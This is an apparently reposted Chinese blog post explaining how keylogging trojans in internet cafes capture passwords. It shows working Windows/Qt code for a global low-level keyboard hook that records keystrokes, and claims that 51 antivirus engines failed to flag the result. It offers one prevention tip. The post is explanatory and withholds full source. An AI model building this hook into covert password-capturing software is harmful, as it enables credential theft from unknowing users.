键盘监听木马病毒原理

前往我的博客以获得更好的阅读体验键盘监听木马病毒原理 - DearXuan的主页icon-default.png?t=M3C8https://blog.dearxuan.com/2021/08/29/%E9%94%AE%E7%9B%98%E7%9B%91%E5%90%AC%E6%9C%A8%E9%A9%AC%E7%97%85%E6%AF%92%E5%8E%9F%E7%90%86/

病毒表现

键盘监听病毒在网吧中非常流行,它在启动后会监听用户的键盘输入事件,如果有人使用账号密码登录,那么他所按下的每一个键都会被记录下来,被发送给别有用心的人。再通过两次按键的时间差,或者根据回车、tab这些标志性按键,就可以大致推断出账号和密码。

原理分析

该病毒能够记录所有窗口的输入事件,因此基本可以确定是用了键盘钩子。钩子函数会在事件发生后第一时间收到通知并处理。这样无论用户输入了什么,病毒总能第一时间记录。

Qt实现

由于程序的特殊性,不提供完整代码和源文件。

首先注册全局键盘钩子

keyHook = SetWindowsHookExA(WH_KEYBOARD_LL,keyProc,GetModuleHandle(NULL),NULL);

实现keyProc函数

LRESULT CALLBACK keyProc(int nCode,WPARAM wParam,LPARAM lParam){
    if(nCode == HC_ACTION && wParam == WM_KEYDOWN){
        int value = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;
        list.append(value);
    }
    return false;
}

该函数获取了按键的ascii码,并储存到list中

实际上除了这些之外,还应该检测SHIFT,CAPSLOCK,特殊字符等按键,也可以使用GetKeyState()方法来获取按键的状态。本程序仅负责记录字母和数字。

创建一个PushButton并转到click事件

void Widget::on_pushButton_clicked()
{
    if(ui->pushButton->text() == "开始检测"){
        list.clear();
        ui->pushButton->setText("停止检测");
        Start();
    }else{
        ui->pushButton->setText("开始检测");
        QString s;
        for(int i=0;i<list.size();i++){
            s += (QChar)list[i];
        }
        label->setText(s);
        Stop();
    }
}

效果展示

启动之前

 启动监听并在其他窗口输入密码

 可以看到密码已经被记录

杀毒软件测试

本人电脑上并未安装杀毒软件,所以使用了在线测试。本次测试共51个引擎

杀毒引擎全军覆没,包括安天、金山、百度、卡巴斯基、360、迈克菲等。因为该病毒没有出现在任何病毒库中,而且也没有进行任何高危操作,包括记录键盘也仅仅是使用了window自带的API而已。

预防方法

最好的方法就是不输密码,采用扫码登录。

  • 3
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Dear_Xuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值